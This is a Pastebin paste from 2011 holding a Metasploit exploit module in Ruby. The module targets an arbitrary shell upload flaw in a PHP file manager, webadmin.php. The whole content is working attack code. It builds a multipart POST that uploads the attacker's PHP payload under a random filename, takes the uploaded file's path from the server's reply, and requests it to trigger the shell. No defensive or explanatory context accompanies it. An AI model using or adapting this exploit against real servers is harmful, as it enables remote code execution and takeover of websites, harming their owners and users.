Advertisement
Guest User

shell upload

a guest
Sep 15th, 2011
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.33 KB | None | 0 0
  1. require 'msf/core'
  2.  
  3. class Metasploit3 < Msf::Exploit::Remote
  4. Rank = GreatRanking
  5.  
  6. include Msf::Exploit::Remote::Tcp
  7. include Msf::Exploit::Remote::HttpClient
  8.  
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'webadmin <= Shell Upload Vulnerability',
  12. 'Description' => %q{
  13. This module exploits an arbitrary shell upload vulnerability in
  14. the webadmin.php
  15. },
  16. 'Author' => [ 'Caddy-Dz' ],
  17. 'License' => MSF_LICENSE,
  18. 'References' => ["http://wacker-welt.de/webadmin/webadmin.php.gz" ],
  19. 'Privileged' => false,
  20. 'Payload' =>
  21. {
  22. 'DisableNops' => true,
  23. },
  24. 'Platform' => 'php',
  25. 'Arch' => ARCH_PHP,
  26. 'Targets' => [[ 'Automatic', { }]],
  27. 'DefaultTarget' => 0,
  28. 'DisclosureDate' => 'Sept 13, 2011'
  29. ))
  30.  
  31. register_options([
  32. OptString.new('URI', [true, "Path to webadmin ", "/"]),
  33. ], self.class)
  34. end
  35.  
  36. def exploit
  37. boundary = rand_text_alphanumeric(6)
  38. fn = rand_text_alphanumeric(8)
  39. data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
  40. data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
  41. data << payload.encoded
  42. data << "\r\n--#{boundary}--"
  43.  
  44. res = send_request_raw({
  45. 'uri' => datastore['URI'] + "/webadmin.php",
  46. 'method' => 'POST',
  47. 'data' => data,
  48. 'headers' =>
  49. {
  50. 'Content-Type' => 'multipart/form-data; boundary=' + boundary,
  51. 'Content-Length' => data.length,
  52. }
  53. }, 25)
  54.  
  55. if (res)
  56. print_status("Successfully uploaded shell.")
  57. shell_path = res.body.split("_")[0]
  58. print_status("Trying to access shell at #{shell_path}...")
  59. res = send_request_raw({
  60. 'uri' => datastore['URI'] + shell_path,
  61. 'method' => 'GET',
  62. }, 0.01)
  63.  
  64. else
  65. print_error("Error uploading shell")
  66. end
  67.  
  68. handler
  69. end
  70. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement